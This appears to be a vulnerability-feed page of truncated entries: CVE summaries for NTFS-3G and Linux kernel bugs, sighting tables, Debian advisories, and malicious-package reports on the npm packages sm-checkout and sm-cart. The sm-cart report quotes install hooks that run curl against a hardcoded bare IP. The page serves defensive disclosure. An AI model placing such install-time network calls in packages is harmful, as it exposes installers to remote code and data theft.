CVE-2026-56136

In NTFS-3G through 2026.2.25, an out-of-bounds read exists in ntfsirnill in libntfs-3g/index.c that allows an attacker to read possibly confidential information in an ntfs-3g process by crafting a malicious NTFS image. This read operation is triggered by creation of a file with a crafted name...

CVE-2026-17101

creationtimestamp| type| source ---|---|--- 2026-08-23 20:07:06+00:00| seen| https://bsky.app/profile/cyberhub.blog/post/3mtrloyqhvb2x...

Malicious code in sm-checkout (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 0bc8dabb0ecf46dc57dd07dacdf28c9cddf629ffb8e9b0cea75e71cd999feaf0 [email protected] declares preinstall and postinstall lifecycle scripts in package.json that invoke curl against a hardcoded bare-IP URL over plain...

MAL-2026-14396 Malicious code in sm-cart (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 14b02c7ed01f5b6da80999086ceced1c2eb8b8102384f6778862a0bb3ecaebe0 Package [email protected] declares preinstall and postinstall scripts that unconditionally run curl -s http://16.192.173.5/sm-cart/pre and curl -s...

[SECURITY] [DSA 6461-1] thunderbird security update

------------------------------------------------------------------------- Debian Security Advisory DSA-6461-1 [email protected] https://www.debian.org/security/ Moritz Muehlenhoff August 23, 2026 https://www.debian.org/security/faq -...

[SECURITY] [DSA 6460-1] openjdk-25 security update

------------------------------------------------------------------------- Debian Security Advisory DSA-6460-1 [email protected] https://www.debian.org/security/ Moritz Muehlenhoff August 23, 2026 https://www.debian.org/security/faq -...

CVE-2026-5388

creationtimestamp| type| source ---|---|--- 2026-08-23 14:30:04+00:00| seen| https://bsky.app/profile/stackflag.bsky.social/post/3mtqyucsev325 2026-08-23 15:01:28+00:00| seen| https://bsky.app/profile/thehackerwire.bsky.social/post/3mtr2mhxlsl27 2026-08-23 15:32:16+00:00| seen|...

CVE-2023-51628

creationtimestamp| type| source ---|---|--- 2026-08-23 11:00:03+00:00| seen| https://t.me/manszyxalladmin/3699 2026-08-23 11:00:03+00:00| seen| https://t.me/manszyxalladmin/3706 2026-08-24 00:00:07+00:00| seen| https://t.me/manszyxalladmin/3706 2026-08-24 00:00:07+00:00| seen|...

ROOT-OS-DEBIAN-11-CVE-2022-50224 CVE-2022-50224 in linux - Patched by Root

Root has patched CVE-2022-50224 in the linux package for Root:Debian:11. Multiple fixed versions available...

CVE-2026-77116

creationtimestamp| type| source ---|---|--- 2026-08-23 08:17:27+00:00| seen| https://bsky.app/profile/cve.skyfleet.blue/post/ccdo5swnhr232...

CVE-2026-18294

creationtimestamp| type| source ---|---|--- 2026-08-23 04:17:24+00:00| seen| https://bsky.app/profile/vulnsea.com/post/3mtpwmrvjzb2y 2026-08-24 13:07:56+00:00| seen| https://bsky.app/profile/deafnews-auto.bsky.social/post/3mtteqe7pjv2s...

CVE-2026-16149

creationtimestamp| type| source ---|---|--- 2026-08-23 00:24:22+00:00| seen| https://bsky.app/profile/cve.skyfleet.blue/post/i2gzzmx55e4jk 2026-08-23 01:00:46+00:00| seen| https://bsky.app/profile/thehackerwire.bsky.social/post/3mtpln6adlw2m 2026-08-23 12:00:25+00:00| seen|...

CVE-2026-54795

creationtimestamp| type| source ---|---|--- 2026-08-23 00:07:06+00:00| seen| https://bsky.app/profile/cyberhub.blog/post/3mtpin7s7jd2x...

SUSE CVE-2026-74598

In the Linux kernel, the following vulnerability has been resolved: ipv6: fix Route Information option length validation rt6routercv validates the Route Information option RFC 4191 length against the prefix length, but both checks are off by one. rinfo-length is the ND option length in units of 8...

SUSE CVE-2026-74659

In the Linux kernel, the following vulnerability has been resolved: net: bridge: mrp: fix uninitialised bytes on the wire brmrpalloctestskb builds MRP test frames on an skb from devallocskb, which does not clear the linear data area. On the MRA ring-role branch the sub-option TLV header is append...

SUSE CVE-2026-74673

In the Linux kernel, the following vulnerability has been resolved: Input: evdev - fix information leak in evdevpassvalues In evdevpassvalues, the inputevent structure is allocated on the kernel stack and populated field-by-field. However, it is never fully initialized. On architectures where...

SUSE CVE-2026-74694

In the Linux kernel, the following vulnerability has been resolved: net/ncsi: fix heap OOB read in NCSICMDSENDCMD payload length ncsisendcmdnl takes the number of bytes to copy from the attacker-controlled ncsipkthdr.length field of the in-band packet header, while the source buffer is the...

Debian dsa-6461 : thunderbird - security update

The remote Debian 13 host has packages installed that are affected by multiple vulnerabilities as referenced in the dsa-6461 advisory. - ------------------------------------------------------------------------- Debian Security Advisory DSA-6461-1 [email protected] https://www.debian.org/securit...

Debian dsa-6460 : openjdk-25-dbg - security update

The remote Debian 13 host has packages installed that are affected by multiple vulnerabilities as referenced in the dsa-6460 advisory. - ------------------------------------------------------------------------- Debian Security Advisory DSA-6460-1 [email protected] https://www.debian.org/securit...

CVE-2026-78122

docker-socket-proxy (Tecnativa) through 0.5.0 has an insufficient access control granularity flaw in the /containers Docker API namespace. When the CONTAINERS environment variable is set, read endpoints (/containers/{id}/archive, /export, /logs, /top) are not properly gated, allowing an unauthent...